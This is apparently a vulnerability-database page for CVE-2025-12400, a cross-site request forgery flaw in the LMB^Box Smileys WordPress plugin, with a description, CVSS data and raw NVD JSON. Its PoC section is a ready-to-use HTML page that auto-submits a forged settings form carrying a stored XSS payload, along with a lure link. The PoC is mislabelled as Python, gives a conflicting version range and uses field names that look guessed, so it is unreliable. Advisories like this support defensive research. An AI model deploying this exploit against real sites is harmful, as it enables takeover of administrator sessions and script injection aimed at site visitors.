Security Vulnerability Report
中文
CVE-2025-12400 CVSS 6.1 MEDIUM

CVE-2025-12400

Published: 2025-11-04 05:16:12
Last Modified: 2026-04-15 00:35:42

Description

The LMB^Box Smileys plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2. This is due to missing or incorrect nonce validation on the manage_page() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LMB^Box Smileys插件 <= 3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12400 --> <!-- LMB^Box Smileys Plugin < 3.2 CSRF to Stored XSS --> <!DOCTYPE html> <html> <head> <title>CSRF Exploit - CVE-2025-12400</title> </head> <body> <h1>CSRF Exploit for LMB^Box Smileys Plugin</h1> <p>Target: WordPress site with LMB^Box Smileys plugin <= 3.2</p> <!-- Form to modify plugin settings and inject XSS payload --> <form action="http://target-site/wp-admin/admin.php?page=manage_page" method="POST" id="exploitForm"> <input type="hidden" name="action" value="save_settings"> <input type="hidden" name="smiley_path" value="http://example.com/malicious-smileys/"> <!-- XSS payload in smiley description --> <input type="hidden" name="smiley_desc_1" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="nonce_field" value=""> <!-- Missing nonce validation --> </form> <script> // Auto-submit form when page loads document.getElementById('exploitForm').submit(); console.log('CSRF request sent'); </script> <!-- Alternative: Malicious link for social engineering --> <a href="http://target-site/wp-admin/admin.php?page=manage_page&action=reset&smiley=<img src=x onerror=alert('XSS')>"> Click here for free smileys! </a> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12400", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:12.360", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LMB^Box Smileys plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2. This is due to missing or incorrect nonce validation on the manage_page() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lmbbox-smileys/tags/3.2/lmbbox-smileys.php#L318", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lmbbox-smileys/tags/3.2/lmbbox-smileys.php#L426", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lmbbox-smileys/tags/3.2/lmbbox-smileys.php#L890", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6e80e3ac-331a-480f-94ca-06d62230cd80?source=cve", "source": "[email protected]"}]}}